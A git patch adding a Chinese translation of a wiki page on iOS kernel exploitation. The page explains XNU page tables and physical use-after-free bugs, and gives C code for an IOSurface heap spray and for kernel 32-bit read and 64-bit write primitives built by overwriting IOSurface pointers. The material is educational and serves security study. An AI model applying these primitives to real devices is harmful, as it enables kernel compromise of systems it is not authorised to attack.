From e2f169c399c6254b0da57ad0ebafe0ffead62ca3 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 5 Nov 2024 18:40:11 +0000 Subject: [PATCH] Translated ['binary-exploitation/ios-exploiting.md'] to cn --- SUMMARY.md | 1 + binary-exploitation/ios-exploiting.md | 203 ++++++++++++++++++++++++++ 2 files changed, 204 insertions(+) create mode 100644 binary-exploitation/ios-exploiting.md diff --git a/SUMMARY.md b/SUMMARY.md index 649dfb1b6..ed2b2504d 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -778,6 +778,7 @@ * [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md) * [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +* [iOS Exploiting](binary-exploitation/ios-exploiting.md) ## 🔩 Reversing diff --git a/binary-exploitation/ios-exploiting.md b/binary-exploitation/ios-exploiting.md new file mode 100644 index 000000000..989805def --- /dev/null +++ b/binary-exploitation/ios-exploiting.md @@ -0,0 +1,203 @@ +# iOS Exploiting + +## Physical use-after-free + +这是来自[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)的帖子摘要,此外,关于使用此技术的漏洞的更多信息可以在[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)中找到。 + +### Memory management in XNU + +iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**。然而,这些地址并不直接映射到物理内存。相反,**内核**使用**页表**将虚拟地址转换为实际的**物理地址**。 + +#### Levels of Page Tables in iOS + +页表分为三个层次进行层次化组织: + +1. **L1 Page Table (Level 1)**: +* 这里的每个条目表示一个大范围的虚拟内存。 +* 它覆盖**0x1000000000字节**(或**256 GB**)的虚拟内存。 +2. **L2 Page Table (Level 2)**: +* 这里的一个条目表示一个较小的虚拟内存区域,具体为**0x2000000字节**(32 MB)。 +* 如果L1条目无法映射整个区域,它可能指向一个L2表。 +3. **L3 Page Table (Level 3)**: +* 这是最细的级别,每个条目映射一个单独的**4 KB**内存页。 +* 如果需要更细粒度的控制,L2条目可以指向L3表。 + +#### Mapping Virtual to Physical Memory + +* **Direct Mapping (Block Mapping)**: +* 页表中的某些条目直接**映射一系列虚拟地址**到一系列连续的物理地址(就像快捷方式)。 +* **Pointer to Child Page Table**: +* 如果需要更细粒度的控制,一个级别中的条目(例如,L1)可以指向下一个级别的**子页表**(例如,L2)。 + +#### Example: Mapping a Virtual Address + +假设你尝试访问虚拟地址**0x1000000000**: + +1. **L1 Table**: +* 内核检查与此虚拟地址对应的L1页表条目。如果它有一个**指向L2页表的指针**,则转到该L2表。 +2. **L2 Table**: +* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**,则继续到那里。 +3. **L3 Table**: +* 内核查找最终的L3条目,该条目指向实际内存页的**物理地址**。 + +#### Example of Address Mapping + +如果你将物理地址**0x800004000**写入L2表的第一个索引,则: + +* 从**0x1000000000**到**0x1002000000**的虚拟地址映射到从**0x800004000**到**0x802004000**的物理地址。 +* 这是L2级别的**块映射**。 + +或者,如果L2条目指向L3表: + +* 虚拟地址范围**0x1000000000 -> 0x1002000000**中的每个4 KB页面将由L3表中的单独条目映射。 + +### Physical use-after-free + +**物理使用后释放**(UAF)发生在: + +1. 一个进程**分配**了一些内存作为**可读和可写**。 +2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。 +3. 该进程**释放**(释放)内存。 +4. 然而,由于一个**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用。 +5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的,例如**内核数据**。 +6. 由于映射未被删除,进程仍然可以**读写**这块物理内存。 + +这意味着进程可以访问**内核内存的页面**,这些页面可能包含敏感数据或结构,可能允许攻击者**操纵内核内存**。 + +### Exploitation Strategy: Heap Spray + +由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术: + +1. 攻击者在内核内存中**创建大量IOSurface对象**。 +2. 每个IOSurface对象在其字段之一中包含一个**魔法值**,使其易于识别。 +3. 他们**扫描释放的页面**,查看这些IOSurface对象是否落在释放的页面上。 +4. 当他们在释放的页面上找到一个IOSurface对象时,他们可以使用它来**读写内核内存**。 + +有关此的更多信息,请访问[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。 + +### Step-by-Step Heap Spray Process + +1. **Spray IOSurface Objects**: 攻击者创建许多带有特殊标识符(“魔法值”)的IOSurface对象。 +2. **Scan Freed Pages**: 他们检查是否有任何对象已分配在释放的页面上。 +3. **Read/Write Kernel Memory**: 通过操纵IOSurface对象中的字段,他们获得在内核内存中执行**任意读写**的能力。这使他们能够: +* 使用一个字段**读取内核内存中的任何32位值**。 +* 使用另一个字段**写入64位值**,实现稳定的**内核读/写原语**。 + +生成带有魔法值IOSURFACE_MAGIC的IOSurface对象以便后续搜索: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +在一个已释放的物理页面中搜索 **`IOSurface`** 对象: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### 使用IOSurface实现内核读/写 + +在获得对内核内存中一个IOSurface对象的控制后(映射到一个从用户空间可访问的已释放物理页面),我们可以将其用于**任意内核读写操作**。 + +**IOSurface中的关键字段** + +IOSurface对象有两个关键字段: + +1. **使用计数指针**:允许**32位读取**。 +2. **索引时间戳指针**:允许**64位写入**。 + +通过覆盖这些指针,我们将其重定向到内核内存中的任意地址,从而启用读/写功能。 + +#### 32位内核读取 + +要执行读取: + +1. 将**使用计数指针**覆盖为指向目标地址减去0x14字节的偏移量。 +2. 使用`get_use_count`方法读取该地址的值。 +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64位内核写入 + +要执行写入: + +1. 将**索引时间戳指针**覆盖到目标地址。 +2. 使用`set_indexed_timestamp`方法写入64位值。 +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### 利用流程回顾 + +1. **触发物理使用后释放**: 可重用的空闲页面。 +2. **喷射IOSurface对象**: 在内核内存中分配许多具有唯一“魔法值”的IOSurface对象。 +3. **识别可访问的IOSurface**: 找到一个在你控制的已释放页面上的IOSurface。 +4. **滥用使用后释放**: 修改IOSurface对象中的指针,以通过IOSurface方法启用任意**内核读/写**。 + +通过这些原语,利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语,这可能需要绕过额外的保护(例如,在较新的arm64e设备上的PPL)。